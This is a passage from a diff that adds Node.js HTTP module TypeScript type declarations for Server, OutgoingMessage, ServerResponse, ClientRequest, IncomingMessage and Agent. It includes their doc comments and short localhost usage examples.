"connect", + listener: (req: InstanceType, socket: stream.Duplex, head: Buffer) => void, + ): this; + addListener(event: "dropRequest", listener: (req: InstanceType, socket: stream.Duplex) => void): this; + addListener(event: "request", listener: RequestListener): this; + addListener( + event: "upgrade", + listener: (req: InstanceType, socket: stream.Duplex, head: Buffer) => void, + ): this; + emit(event: string, ...args: any[]): boolean; + emit(event: "close"): boolean; + emit(event: "connection", socket: Socket): boolean; + emit(event: "error", err: Error): boolean; + emit(event: "listening"): boolean; + emit( + event: "checkContinue", + req: InstanceType, + res: InstanceType & { req: InstanceType }, + ): boolean; + emit( + event: "checkExpectation", + req: InstanceType, + res: InstanceType & { req: InstanceType }, + ): boolean; + emit(event: "clientError", err: Error, socket: stream.Duplex): boolean; + emit(event: "connect", req: InstanceType, socket: stream.Duplex, head: Buffer): boolean; + emit(event: "dropRequest", req: InstanceType, socket: stream.Duplex): boolean; + emit( + event: "request", + req: InstanceType, + res: InstanceType & { req: InstanceType }, + ): boolean; + emit(event: "upgrade", req: InstanceType, socket: stream.Duplex, head: Buffer): boolean; + on(event: string, listener: (...args: any[]) => void): this; + on(event: "close", listener: () => void): this; + on(event: "connection", listener: (socket: Socket) => void): this; + on(event: "error", listener: (err: Error) => void): this; + on(event: "listening", listener: () => void): this; + on(event: "checkContinue", listener: RequestListener): this; + on(event: "checkExpectation", listener: RequestListener): this; + on(event: "clientError", listener: (err: Error, socket: stream.Duplex) => void): this; + on(event: "connect", listener: (req: InstanceType, socket: stream.Duplex, head: Buffer) => void): this; + on(event: "dropRequest", listener: (req: InstanceType, socket: stream.Duplex) => void): this; + on(event: "request", listener: RequestListener): this; + on(event: "upgrade", listener: (req: InstanceType, socket: stream.Duplex, head: Buffer) => void): this; + once(event: string, listener: (...args: any[]) => void): this; + once(event: "close", listener: () => void): this; + once(event: "connection", listener: (socket: Socket) => void): this; + once(event: "error", listener: (err: Error) => void): this; + once(event: "listening", listener: () => void): this; + once(event: "checkContinue", listener: RequestListener): this; + once(event: "checkExpectation", listener: RequestListener): this; + once(event: "clientError", listener: (err: Error, socket: stream.Duplex) => void): this; + once( + event: "connect", + listener: (req: InstanceType, socket: stream.Duplex, head: Buffer) => void, + ): this; + once(event: "dropRequest", listener: (req: InstanceType, socket: stream.Duplex) => void): this; + once(event: "request", listener: RequestListener): this; + once( + event: "upgrade", + listener: (req: InstanceType, socket: stream.Duplex, head: Buffer) => void, + ): this; + prependListener(event: string, listener: (...args: any[]) => void): this; + prependListener(event: "close", listener: () => void): this; + prependListener(event: "connection", listener: (socket: Socket) => void): this; + prependListener(event: "error", listener: (err: Error) => void): this; + prependListener(event: "listening", listener: () => void): this; + prependListener(event: "checkContinue", listener: RequestListener): this; + prependListener(event: "checkExpectation", listener: RequestListener): this; + prependListener(event: "clientError", listener: (err: Error, socket: stream.Duplex) => void): this; + prependListener( + event: "connect", + listener: (req: InstanceType, socket: stream.Duplex, head: Buffer) => void, + ): this; + prependListener( + event: "dropRequest", + listener: (req: InstanceType, socket: stream.Duplex) => void, + ): this; + prependListener(event: "request", listener: RequestListener): this; + prependListener( + event: "upgrade", + listener: (req: InstanceType, socket: stream.Duplex, head: Buffer) => void, + ): this; + prependOnceListener(event: string, listener: (...args: any[]) => void): this; + prependOnceListener(event: "close", listener: () => void): this; + prependOnceListener(event: "connection", listener: (socket: Socket) => void): this; + prependOnceListener(event: "error", listener: (err: Error) => void): this; + prependOnceListener(event: "listening", listener: () => void): this; + prependOnceListener(event: "checkContinue", listener: RequestListener): this; + prependOnceListener(event: "checkExpectation", listener: RequestListener): this; + prependOnceListener(event: "clientError", listener: (err: Error, socket: stream.Duplex) => void): this; + prependOnceListener( + event: "connect", + listener: (req: InstanceType, socket: stream.Duplex, head: Buffer) => void, + ): this; + prependOnceListener( + event: "dropRequest", + listener: (req: InstanceType, socket: stream.Duplex) => void, + ): this; + prependOnceListener(event: "request", listener: RequestListener): this; + prependOnceListener( + event: "upgrade", + listener: (req: InstanceType, socket: stream.Duplex, head: Buffer) => void, + ): this; + } + /** + * This class serves as the parent class of {@link ClientRequest} and {@link ServerResponse}. It is an abstract outgoing message from + * the perspective of the participants of an HTTP transaction. + * @since v0.1.17 + */ + class OutgoingMessage extends stream.Writable { + readonly req: Request; + chunkedEncoding: boolean; + shouldKeepAlive: boolean; + useChunkedEncodingByDefault: boolean; + sendDate: boolean; + /** + * @deprecated Use `writableEnded` instead. + */ + finished: boolean; + /** + * Read-only. `true` if the headers were sent, otherwise `false`. + * @since v0.9.3 + */ + readonly headersSent: boolean; + /** + * Alias of `outgoingMessage.socket`. + * @since v0.3.0 + * @deprecated Since v15.12.0,v14.17.1 - Use `socket` instead. + */ + readonly connection: Socket | null; + /** + * Reference to the underlying socket. Usually, users will not want to access + * this property. + * + * After calling `outgoingMessage.end()`, this property will be nulled. + * @since v0.3.0 + */ + readonly socket: Socket | null; + constructor(); + /** + * Once a socket is associated with the message and is connected, `socket.setTimeout()` will be called with `msecs` as the first parameter. + * @since v0.9.12 + * @param callback Optional function to be called when a timeout occurs. Same as binding to the `timeout` event. + */ + setTimeout(msecs: number, callback?: () => void): this; + /** + * Sets a single header value. If the header already exists in the to-be-sent + * headers, its value will be replaced. Use an array of strings to send multiple + * headers with the same name. + * @since v0.4.0 + * @param name Header name + * @param value Header value + */ + setHeader(name: string, value: number | string | readonly string[]): this; + /** + * Append a single header value to the header object. + * + * If the value is an array, this is equivalent to calling this method multiple + * times. + * + * If there were no previous values for the header, this is equivalent to calling `outgoingMessage.setHeader(name, value)`. + * + * Depending of the value of `options.uniqueHeaders` when the client request or the + * server were created, this will end up in the header being sent multiple times or + * a single time with values joined using `; `. + * @since v18.3.0, v16.17.0 + * @param name Header name + * @param value Header value + */ + appendHeader(name: string, value: string | readonly string[]): this; + /** + * Gets the value of the HTTP header with the given name. If that header is not + * set, the returned value will be `undefined`. + * @since v0.4.0 + * @param name Name of header + */ + getHeader(name: string): number | string | string[] | undefined; + /** + * Returns a shallow copy of the current outgoing headers. Since a shallow + * copy is used, array values may be mutated without additional calls to + * various header-related HTTP module methods. The keys of the returned + * object are the header names and the values are the respective header + * values. All header names are lowercase. + * + * The object returned by the `outgoingMessage.getHeaders()` method does + * not prototypically inherit from the JavaScript `Object`. This means that + * typical `Object` methods such as `obj.toString()`, `obj.hasOwnProperty()`, + * and others are not defined and will not work. + * + * ```js + * outgoingMessage.setHeader('Foo', 'bar'); + * outgoingMessage.setHeader('Set-Cookie', ['foo=bar', 'bar=baz']); + * + * const headers = outgoingMessage.getHeaders(); + * // headers === { foo: 'bar', 'set-cookie': ['foo=bar', 'bar=baz'] } + * ``` + * @since v7.7.0 + */ + getHeaders(): OutgoingHttpHeaders; + /** + * Returns an array containing the unique names of the current outgoing headers. + * All names are lowercase. + * @since v7.7.0 + */ + getHeaderNames(): string[]; + /** + * Returns `true` if the header identified by `name` is currently set in the + * outgoing headers. The header name is case-insensitive. + * + * ```js + * const hasContentType = outgoingMessage.hasHeader('content-type'); + * ``` + * @since v7.7.0 + */ + hasHeader(name: string): boolean; + /** + * Removes a header that is queued for implicit sending. + * + * ```js + * outgoingMessage.removeHeader('Content-Encoding'); + * ``` + * @since v0.4.0 + * @param name Header name + */ + removeHeader(name: string): void; + /** + * Adds HTTP trailers (headers but at the end of the message) to the message. + * + * Trailers will **only** be emitted if the message is chunked encoded. If not, + * the trailers will be silently discarded. + * + * HTTP requires the `Trailer` header to be sent to emit trailers, + * with a list of header field names in its value, e.g. + * + * ```js + * message.writeHead(200, { 'Content-Type': 'text/plain', + * 'Trailer': 'Content-MD5' }); + * message.write(fileData); + * message.addTrailers({ 'Content-MD5': '7895bf4b8828b55ceaf47747b4bca667' }); + * message.end(); + * ``` + * + * Attempting to set a header field name or value that contains invalid characters + * will result in a `TypeError` being thrown. + * @since v0.3.0 + */ + addTrailers(headers: OutgoingHttpHeaders | ReadonlyArray<[string, string]>): void; + /** + * Flushes the message headers. + * + * For efficiency reason, Node.js normally buffers the message headers + * until `outgoingMessage.end()` is called or the first chunk of message data + * is written. It then tries to pack the headers and data into a single TCP + * packet. + * + * It is usually desired (it saves a TCP round-trip), but not when the first + * data is not sent until possibly much later. `outgoingMessage.flushHeaders()` bypasses the optimization and kickstarts the message. + * @since v1.6.0 + */ + flushHeaders(): void; + } + /** + * This object is created internally by an HTTP server, not by the user. It is + * passed as the second parameter to the `'request'` event. + * @since v0.1.17 + */ + class ServerResponse extends OutgoingMessage { + /** + * When using implicit headers (not calling `response.writeHead()` explicitly), + * this property controls the status code that will be sent to the client when + * the headers get flushed. + * + * ```js + * response.statusCode = 404; + * ``` + * + * After response header was sent to the client, this property indicates the + * status code which was sent out. + * @since v0.4.0 + */ + statusCode: number; + /** + * When using implicit headers (not calling `response.writeHead()` explicitly), + * this property controls the status message that will be sent to the client when + * the headers get flushed. If this is left as `undefined` then the standard + * message for the status code will be used. + * + * ```js + * response.statusMessage = 'Not found'; + * ``` + * + * After response header was sent to the client, this property indicates the + * status message which was sent out. + * @since v0.11.8 + */ + statusMessage: string; + /** + * If set to `true`, Node.js will check whether the `Content-Length` header value and the size of the body, in bytes, are equal. + * Mismatching the `Content-Length` header value will result + * in an `Error` being thrown, identified by `code:``'ERR_HTTP_CONTENT_LENGTH_MISMATCH'`. + * @since v18.10.0, v16.18.0 + */ + strictContentLength: boolean; + constructor(req: Request); + assignSocket(socket: Socket): void; + detachSocket(socket: Socket): void; + /** + * Sends an HTTP/1.1 100 Continue message to the client, indicating that + * the request body should be sent. See the `'checkContinue'` event on `Server`. + * @since v0.3.0 + */ + writeContinue(callback?: () => void): void; + /** + * Sends an HTTP/1.1 103 Early Hints message to the client with a Link header, + * indicating that the user agent can preload/preconnect the linked resources. + * The `hints` is an object containing the values of headers to be sent with + * early hints message. The optional `callback` argument will be called when + * the response message has been written. + * + * **Example** + * + * ```js + * const earlyHintsLink = '; rel=preload; as=style'; + * response.writeEarlyHints({ + * 'link': earlyHintsLink, + * }); + * + * const earlyHintsLinks = [ + * '; rel=preload; as=style', + * '; rel=preload; as=script', + * ]; + * response.writeEarlyHints({ + * 'link': earlyHintsLinks, + * 'x-trace-id': 'id for diagnostics', + * }); + * + * const earlyHintsCallback = () => console.log('early hints message sent'); + * response.writeEarlyHints({ + * 'link': earlyHintsLinks, + * }, earlyHintsCallback); + * ``` + * @since v18.11.0 + * @param hints An object containing the values of headers + * @param callback Will be called when the response message has been written + */ + writeEarlyHints(hints: Record, callback?: () => void): void; + /** + * Sends a response header to the request. The status code is a 3-digit HTTP + * status code, like `404`. The last argument, `headers`, are the response headers. + * Optionally one can give a human-readable `statusMessage` as the second + * argument. + * + * `headers` may be an `Array` where the keys and values are in the same list. + * It is _not_ a list of tuples. So, the even-numbered offsets are key values, + * and the odd-numbered offsets are the associated values. The array is in the same + * format as `request.rawHeaders`. + * + * Returns a reference to the `ServerResponse`, so that calls can be chained. + * + * ```js + * const body = 'hello world'; + * response + * .writeHead(200, { + * 'Content-Length': Buffer.byteLength(body), + * 'Content-Type': 'text/plain', + * }) + * .end(body); + * ``` + * + * This method must only be called once on a message and it must + * be called before `response.end()` is called. + * + * If `response.write()` or `response.end()` are called before calling + * this, the implicit/mutable headers will be calculated and call this function. + * + * When headers have been set with `response.setHeader()`, they will be merged + * with any headers passed to `response.writeHead()`, with the headers passed + * to `response.writeHead()` given precedence. + * + * If this method is called and `response.setHeader()` has not been called, + * it will directly write the supplied header values onto the network channel + * without caching internally, and the `response.getHeader()` on the header + * will not yield the expected result. If progressive population of headers is + * desired with potential future retrieval and modification, use `response.setHeader()` instead. + * + * ```js + * // Returns content-type = text/plain + * const server = http.createServer((req, res) => { + * res.setHeader('Content-Type', 'text/html'); + * res.setHeader('X-Foo', 'bar'); + * res.writeHead(200, { 'Content-Type': 'text/plain' }); + * res.end('ok'); + * }); + * ``` + * + * `Content-Length` is read in bytes, not characters. Use `Buffer.byteLength()` to determine the length of the body in bytes. Node.js + * will check whether `Content-Length` and the length of the body which has + * been transmitted are equal or not. + * + * Attempting to set a header field name or value that contains invalid characters + * will result in a \[`Error`\]\[\] being thrown. + * @since v0.1.30 + */ + writeHead( + statusCode: number, + statusMessage?: string, + headers?: OutgoingHttpHeaders | OutgoingHttpHeader[], + ): this; + writeHead(statusCode: number, headers?: OutgoingHttpHeaders | OutgoingHttpHeader[]): this; + /** + * Sends a HTTP/1.1 102 Processing message to the client, indicating that + * the request body should be sent. + * @since v10.0.0 + */ + writeProcessing(): void; + } + interface InformationEvent { + statusCode: number; + statusMessage: string; + httpVersion: string; + httpVersionMajor: number; + httpVersionMinor: number; + headers: IncomingHttpHeaders; + rawHeaders: string[]; + } + /** + * This object is created internally and returned from {@link request}. It + * represents an _in-progress_ request whose header has already been queued. The + * header is still mutable using the `setHeader(name, value)`, `getHeader(name)`, `removeHeader(name)` API. The actual header will + * be sent along with the first data chunk or when calling `request.end()`. + * + * To get the response, add a listener for `'response'` to the request object. `'response'` will be emitted from the request object when the response + * headers have been received. The `'response'` event is executed with one + * argument which is an instance of {@link IncomingMessage}. + * + * During the `'response'` event, one can add listeners to the + * response object; particularly to listen for the `'data'` event. + * + * If no `'response'` handler is added, then the response will be + * entirely discarded. However, if a `'response'` event handler is added, + * then the data from the response object **must** be consumed, either by + * calling `response.read()` whenever there is a `'readable'` event, or + * by adding a `'data'` handler, or by calling the `.resume()` method. + * Until the data is consumed, the `'end'` event will not fire. Also, until + * the data is read it will consume memory that can eventually lead to a + * 'process out of memory' error. + * + * For backward compatibility, `res` will only emit `'error'` if there is an `'error'` listener registered. + * + * Set `Content-Length` header to limit the response body size. + * If `response.strictContentLength` is set to `true`, mismatching the `Content-Length` header value will result in an `Error` being thrown, + * identified by `code:``'ERR_HTTP_CONTENT_LENGTH_MISMATCH'`. + * + * `Content-Length` value should be in bytes, not characters. Use `Buffer.byteLength()` to determine the length of the body in bytes. + * @since v0.1.17 + */ + class ClientRequest extends OutgoingMessage { + /** + * The `request.aborted` property will be `true` if the request has + * been aborted. + * @since v0.11.14 + * @deprecated Since v17.0.0, v16.12.0 - Check `destroyed` instead. + */ + aborted: boolean; + /** + * The request host. + * @since v14.5.0, v12.19.0 + */ + host: string; + /** + * The request protocol. + * @since v14.5.0, v12.19.0 + */ + protocol: string; + /** + * When sending request through a keep-alive enabled agent, the underlying socket + * might be reused. But if server closes connection at unfortunate time, client + * may run into a 'ECONNRESET' error. + * + * ```js + * import http from 'node:http'; + * + * // Server has a 5 seconds keep-alive timeout by default + * http + * .createServer((req, res) => { + * res.write('hello\n'); + * res.end(); + * }) + * .listen(3000); + * + * setInterval(() => { + * // Adapting a keep-alive agent + * http.get('http://localhost:3000', { agent }, (res) => { + * res.on('data', (data) => { + * // Do nothing + * }); + * }); + * }, 5000); // Sending request on 5s interval so it's easy to hit idle timeout + * ``` + * + * By marking a request whether it reused socket or not, we can do + * automatic error retry base on it. + * + * ```js + * import http from 'node:http'; + * const agent = new http.Agent({ keepAlive: true }); + * + * function retriableRequest() { + * const req = http + * .get('http://localhost:3000', { agent }, (res) => { + * // ... + * }) + * .on('error', (err) => { + * // Check if retry is needed + * if (req.reusedSocket && err.code === 'ECONNRESET') { + * retriableRequest(); + * } + * }); + * } + * + * retriableRequest(); + * ``` + * @since v13.0.0, v12.16.0 + */ + reusedSocket: boolean; + /** + * Limits maximum response headers count. If set to 0, no limit will be applied. + */ + maxHeadersCount: number; + constructor(url: string | URL | ClientRequestArgs, cb?: (res: IncomingMessage) => void); + /** + * The request method. + * @since v0.1.97 + */ + method: string; + /** + * The request path. + * @since v0.4.0 + */ + path: string; + /** + * Marks the request as aborting. Calling this will cause remaining data + * in the response to be dropped and the socket to be destroyed. + * @since v0.3.8 + * @deprecated Since v14.1.0,v13.14.0 - Use `destroy` instead. + */ + abort(): void; + onSocket(socket: Socket): void; + /** + * Once a socket is assigned to this request and is connected `socket.setTimeout()` will be called. + * @since v0.5.9 + * @param timeout Milliseconds before a request times out. + * @param callback Optional function to be called when a timeout occurs. Same as binding to the `'timeout'` event. + */ + setTimeout(timeout: number, callback?: () => void): this; + /** + * Once a socket is assigned to this request and is connected `socket.setNoDelay()` will be called. + * @since v0.5.9 + */ + setNoDelay(noDelay?: boolean): void; + /** + * Once a socket is assigned to this request and is connected `socket.setKeepAlive()` will be called. + * @since v0.5.9 + */ + setSocketKeepAlive(enable?: boolean, initialDelay?: number): void; + /** + * Returns an array containing the unique names of the current outgoing raw + * headers. Header names are returned with their exact casing being set. + * + * ```js + * request.setHeader('Foo', 'bar'); + * request.setHeader('Set-Cookie', ['foo=bar', 'bar=baz']); + * + * const headerNames = request.getRawHeaderNames(); + * // headerNames === ['Foo', 'Set-Cookie'] + * ``` + * @since v15.13.0, v14.17.0 + */ + getRawHeaderNames(): string[]; + /** + * @deprecated + */ + addListener(event: "abort", listener: () => void): this; + addListener( + event: "connect", + listener: (response: IncomingMessage, socket: Socket, head: Buffer) => void, + ): this; + addListener(event: "continue", listener: () => void): this; + addListener(event: "information", listener: (info: InformationEvent) => void): this; + addListener(event: "response", listener: (response: IncomingMessage) => void): this; + addListener(event: "socket", listener: (socket: Socket) => void): this; + addListener(event: "timeout", listener: () => void): this; + addListener( + event: "upgrade", + listener: (response: IncomingMessage, socket: Socket, head: Buffer) => void, + ): this; + addListener(event: "close", listener: () => void): this; + addListener(event: "drain", listener: () => void): this; + addListener(event: "error", listener: (err: Error) => void): this; + addListener(event: "finish", listener: () => void): this; + addListener(event: "pipe", listener: (src: stream.Readable) => void): this; + addListener(event: "unpipe", listener: (src: stream.Readable) => void): this; + addListener(event: string | symbol, listener: (...args: any[]) => void): this; + /** + * @deprecated + */ + on(event: "abort", listener: () => void): this; + on(event: "connect", listener: (response: IncomingMessage, socket: Socket, head: Buffer) => void): this; + on(event: "continue", listener: () => void): this; + on(event: "information", listener: (info: InformationEvent) => void): this; + on(event: "response", listener: (response: IncomingMessage) => void): this; + on(event: "socket", listener: (socket: Socket) => void): this; + on(event: "timeout", listener: () => void): this; + on(event: "upgrade", listener: (response: IncomingMessage, socket: Socket, head: Buffer) => void): this; + on(event: "close", listener: () => void): this; + on(event: "drain", listener: () => void): this; + on(event: "error", listener: (err: Error) => void): this; + on(event: "finish", listener: () => void): this; + on(event: "pipe", listener: (src: stream.Readable) => void): this; + on(event: "unpipe", listener: (src: stream.Readable) => void): this; + on(event: string | symbol, listener: (...args: any[]) => void): this; + /** + * @deprecated + */ + once(event: "abort", listener: () => void): this; + once(event: "connect", listener: (response: IncomingMessage, socket: Socket, head: Buffer) => void): this; + once(event: "continue", listener: () => void): this; + once(event: "information", listener: (info: InformationEvent) => void): this; + once(event: "response", listener: (response: IncomingMessage) => void): this; + once(event: "socket", listener: (socket: Socket) => void): this; + once(event: "timeout", listener: () => void): this; + once(event: "upgrade", listener: (response: IncomingMessage, socket: Socket, head: Buffer) => void): this; + once(event: "close", listener: () => void): this; + once(event: "drain", listener: () => void): this; + once(event: "error", listener: (err: Error) => void): this; + once(event: "finish", listener: () => void): this; + once(event: "pipe", listener: (src: stream.Readable) => void): this; + once(event: "unpipe", listener: (src: stream.Readable) => void): this; + once(event: string | symbol, listener: (...args: any[]) => void): this; + /** + * @deprecated + */ + prependListener(event: "abort", listener: () => void): this; + prependListener( + event: "connect", + listener: (response: IncomingMessage, socket: Socket, head: Buffer) => void, + ): this; + prependListener(event: "continue", listener: () => void): this; + prependListener(event: "information", listener: (info: InformationEvent) => void): this; + prependListener(event: "response", listener: (response: IncomingMessage) => void): this; + prependListener(event: "socket", listener: (socket: Socket) => void): this; + prependListener(event: "timeout", listener: () => void): this; + prependListener( + event: "upgrade", + listener: (response: IncomingMessage, socket: Socket, head: Buffer) => void, + ): this; + prependListener(event: "close", listener: () => void): this; + prependListener(event: "drain", listener: () => void): this; + prependListener(event: "error", listener: (err: Error) => void): this; + prependListener(event: "finish", listener: () => void): this; + prependListener(event: "pipe", listener: (src: stream.Readable) => void): this; + prependListener(event: "unpipe", listener: (src: stream.Readable) => void): this; + prependListener(event: string | symbol, listener: (...args: any[]) => void): this; + /** + * @deprecated + */ + prependOnceListener(event: "abort", listener: () => void): this; + prependOnceListener( + event: "connect", + listener: (response: IncomingMessage, socket: Socket, head: Buffer) => void, + ): this; + prependOnceListener(event: "continue", listener: () => void): this; + prependOnceListener(event: "information", listener: (info: InformationEvent) => void): this; + prependOnceListener(event: "response", listener: (response: IncomingMessage) => void): this; + prependOnceListener(event: "socket", listener: (socket: Socket) => void): this; + prependOnceListener(event: "timeout", listener: () => void): this; + prependOnceListener( + event: "upgrade", + listener: (response: IncomingMessage, socket: Socket, head: Buffer) => void, + ): this; + prependOnceListener(event: "close", listener: () => void): this; + prependOnceListener(event: "drain", listener: () => void): this; + prependOnceListener(event: "error", listener: (err: Error) => void): this; + prependOnceListener(event: "finish", listener: () => void): this; + prependOnceListener(event: "pipe", listener: (src: stream.Readable) => void): this; + prependOnceListener(event: "unpipe", listener: (src: stream.Readable) => void): this; + prependOnceListener(event: string | symbol, listener: (...args: any[]) => void): this; + } + /** + * An `IncomingMessage` object is created by {@link Server} or {@link ClientRequest} and passed as the first argument to the `'request'` and `'response'` event respectively. It may be used to + * access response + * status, headers, and data. + * + * Different from its `socket` value which is a subclass of `stream.Duplex`, the `IncomingMessage` itself extends `stream.Readable` and is created separately to + * parse and emit the incoming HTTP headers and payload, as the underlying socket + * may be reused multiple times in case of keep-alive. + * @since v0.1.17 + */ + class IncomingMessage extends stream.Readable { + constructor(socket: Socket); + /** + * The `message.aborted` property will be `true` if the request has + * been aborted. + * @since v10.1.0 + * @deprecated Since v17.0.0,v16.12.0 - Check `message.destroyed` from stream.Readable. + */ + aborted: boolean; + /** + * In case of server request, the HTTP version sent by the client. In the case of + * client response, the HTTP version of the connected-to server. + * Probably either `'1.1'` or `'1.0'`. + * + * Also `message.httpVersionMajor` is the first integer and `message.httpVersionMinor` is the second. + * @since v0.1.1 + */ + httpVersion: string; + httpVersionMajor: number; + httpVersionMinor: number; + /** + * The `message.complete` property will be `true` if a complete HTTP message has + * been received and successfully parsed. + * + * This property is particularly useful as a means of determining if a client or + * server fully transmitted a message before a connection was terminated: + * + * ```js + * const req = http.request({ + * host: '127.0.0.1', + * port: 8080, + * method: 'POST', + * }, (res) => { + * res.resume(); + * res.on('end', () => { + * if (!res.complete) + * console.error( + * 'The connection was terminated while the message was still being sent'); + * }); + * }); + * ``` + * @since v0.3.0 + */ + complete: boolean; + /** + * Alias for `message.socket`. + * @since v0.1.90 + * @deprecated Since v16.0.0 - Use `socket`. + */ + connection: Socket; + /** + * The `net.Socket` object associated with the connection. + * + * With HTTPS support, use `request.socket.getPeerCertificate()` to obtain the + * client's authentication details. + * + * This property is guaranteed to be an instance of the `net.Socket` class, + * a subclass of `stream.Duplex`, unless the user specified a socket + * type other than `net.Socket` or internally nulled. + * @since v0.3.0 + */ + socket: Socket; + /** + * The request/response headers object. + * + * Key-value pairs of header names and values. Header names are lower-cased. + * + * ```js + * // Prints something like: + * // + * // { 'user-agent': 'curl/7.22.0', + * // host: '127.0.0.1:8000', + * // accept: '*' } + * console.log(request.headers); + * ``` + * + * Duplicates in raw headers are handled in the following ways, depending on the + * header name: + * + * * Duplicates of `age`, `authorization`, `content-length`, `content-type`, `etag`, `expires`, `from`, `host`, `if-modified-since`, `if-unmodified-since`, `last-modified`, `location`, + * `max-forwards`, `proxy-authorization`, `referer`, `retry-after`, `server`, or `user-agent` are discarded. + * To allow duplicate values of the headers listed above to be joined, + * use the option `joinDuplicateHeaders` in {@link request} and {@link createServer}. See RFC 9110 Section 5.3 for more + * information. + * * `set-cookie` is always an array. Duplicates are added to the array. + * * For duplicate `cookie` headers, the values are joined together with `; `. + * * For all other headers, the values are joined together with `, `. + * @since v0.1.5 + */ + headers: IncomingHttpHeaders; + /** + * Similar to `message.headers`, but there is no join logic and the values are + * always arrays of strings, even for headers received just once. + * + * ```js + * // Prints something like: + * // + * // { 'user-agent': ['curl/7.22.0'], + * // host: ['127.0.0.1:8000'], + * // accept: ['*'] } + * console.log(request.headersDistinct); + * ``` + * @since v18.3.0, v16.17.0 + */ + headersDistinct: NodeJS.Dict; + /** + * The raw request/response headers list exactly as they were received. + * + * The keys and values are in the same list. It is _not_ a + * list of tuples. So, the even-numbered offsets are key values, and the + * odd-numbered offsets are the associated values. + * + * Header names are not lowercased, and duplicates are not merged. + * + * ```js + * // Prints something like: + * // + * // [ 'user-agent', + * // 'this is invalid because there can be only one', + * // 'User-Agent', + * // 'curl/7.22.0', + * // 'Host', + * // '127.0.0.1:8000', + * // 'ACCEPT', + * // '*' ] + * console.log(request.rawHeaders); + * ``` + * @since v0.11.6 + */ + rawHeaders: string[]; + /** + * The request/response trailers object. Only populated at the `'end'` event. + * @since v0.3.0 + */ + trailers: NodeJS.Dict; + /** + * Similar to `message.trailers`, but there is no join logic and the values are + * always arrays of strings, even for headers received just once. + * Only populated at the `'end'` event. + * @since v18.3.0, v16.17.0 + */ + trailersDistinct: NodeJS.Dict; + /** + * The raw request/response trailer keys and values exactly as they were + * received. Only populated at the `'end'` event. + * @since v0.11.6 + */ + rawTrailers: string[]; + /** + * Calls `message.socket.setTimeout(msecs, callback)`. + * @since v0.5.9 + */ + setTimeout(msecs: number, callback?: () => void): this; + /** + * **Only valid for request obtained from {@link Server}.** + * + * The request method as a string. Read only. Examples: `'GET'`, `'DELETE'`. + * @since v0.1.1 + */ + method?: string | undefined; + /** + * **Only valid for request obtained from {@link Server}.** + * + * Request URL string. This contains only the URL that is present in the actual + * HTTP request. Take the following request: + * + * ```http + * GET /status?name=ryan HTTP/1.1 + * Accept: text/plain + * ``` + * + * To parse the URL into its parts: + * + * ```js + * new URL(`http://${process.env.HOST ?? 'localhost'}${request.url}`); + * ``` + * + * When `request.url` is `'/status?name=ryan'` and `process.env.HOST` is undefined: + * + * ```console + * $ node + * > new URL(`http://${process.env.HOST ?? 'localhost'}${request.url}`); + * URL { + * href: 'http://localhost/status?name=ryan', + * origin: 'http://localhost', + * protocol: 'http:', + * username: '', + * password: '', + * host: 'localhost', + * hostname: 'localhost', + * port: '', + * pathname: '/status', + * search: '?name=ryan', + * searchParams: URLSearchParams { 'name' => 'ryan' }, + * hash: '' + * } + * ``` + * + * Ensure that you set `process.env.HOST` to the server's host name, or consider replacing this part entirely. If using `req.headers.host`, ensure proper + * validation is used, as clients may specify a custom `Host` header. + * @since v0.1.90 + */ + url?: string | undefined; + /** + * **Only valid for response obtained from {@link ClientRequest}.** + * + * The 3-digit HTTP response status code. E.G. `404`. + * @since v0.1.1 + */ + statusCode?: number | undefined; + /** + * **Only valid for response obtained from {@link ClientRequest}.** + * + * The HTTP response status message (reason phrase). E.G. `OK` or `Internal Server Error`. + * @since v0.11.10 + */ + statusMessage?: string | undefined; + /** + * Calls `destroy()` on the socket that received the `IncomingMessage`. If `error` is provided, an `'error'` event is emitted on the socket and `error` is passed + * as an argument to any listeners on the event. + * @since v0.3.0 + */ + destroy(error?: Error): this; + } + interface AgentOptions extends Partial { + /** + * Keep sockets around in a pool to be used by other requests in the future. Default = false + */ + keepAlive?: boolean | undefined; + /** + * When using HTTP KeepAlive, how often to send TCP KeepAlive packets over sockets being kept alive. Default = 1000. + * Only relevant if keepAlive is set to true. + */ + keepAliveMsecs?: number | undefined; + /** + * Maximum number of sockets to allow per host. Default for Node 0.10 is 5, default for Node 0.12 is Infinity + */ + maxSockets?: number | undefined; + /** + * Maximum number of sockets allowed for all hosts in total. Each request will use a new socket until the maximum is reached. Default: Infinity. + */ + maxTotalSockets?: number | undefined; + /** + * Maximum number of sockets to leave open in a free state. Only relevant if keepAlive is set to true. Default = 256. + */ + maxFreeSockets?: number | undefined; + /** + * Socket timeout in milliseconds. This will set the timeout after the socket is connected. + */ + timeout?: number | undefined; + /** + * Scheduling strategy to apply when picking the next free socket to use. + * @default `lifo` + */ + scheduling?: "fifo" | "lifo" | undefined; + } + /** + * An `Agent` is responsible for managing connection persistence + * and reuse for HTTP clients. It maintains a queue of pending requests + * for a given host and port, reusing a single socket connection for each + * until the queue is empty, at which time the socket is either destroyed + * or put into a pool where it is kept to be used again for requests to the + * same host and port. Whether it is destroyed or pooled depends on the `keepAlive` `option`. + * + * Pooled connections have TCP Keep-Alive enabled for them, but servers may + * still close idle connections, in which case they will be removed from the + * pool and a new connection will be made when a new HTTP request is made for + * that host and port. Servers may also refuse to allow multiple requests + * over the same connection, in which case the connection will have to be + * remade for every request and cannot be pooled. The `Agent` will still make + * the requests to that server, but each one will occur over a new connection. + * + * When a connection is closed by the client or the server, it is removed + * from the pool. Any unused sockets in the pool will be unrefed so as not + * to keep the Node.js process running when there are no outstanding requests. + * (see `socket.unref()`). + * + * It is good practice, to `destroy()` an `Agent` instance when it is no + * longer in use, because unused sockets consume OS resources. + * + * Sockets are removed from an agent when the socket emits either + * a `'close'` event or an `'agentRemove'` event. When intending to keep one + * HTTP request open for a long time without keeping it in the agent, something + * like the following may be done: + * + * ```js + * http.get(options, (res) => { + * // Do stuff + * }).on('socket', (socket) => { + * socket.emit('agentRemove'); + * }); + * ``` + * + * An agent may also be used for an individual request. By providing `{agent: false}` as an option to the `http.get()` or `http.request()` functions, a one-time use `Agent` with default options + * will be used + * for the client connection. + * + * `agent:false`: + * + * ```js + * http.get({ + * hostname: 'localhost', + * port: 80, + * path: '/', + * agent: false, // Create a new agent just for this one request + * }, (res) => { + * // Do stuff with response + * }); + * ``` + * + * `options` in [`socket.connect()`](https://nodejs.org/docs/latest-v22.x/api/net.html#socketconnectoptions-connectlistener) are also supported. + * + * To configure any of them, a custom {@link Agent} instance must be created. + * + * ```js + * import http from 'node:http'; + * const keepAliveAgent = new http.Agent({ keepAlive: true }); + * options.agent = 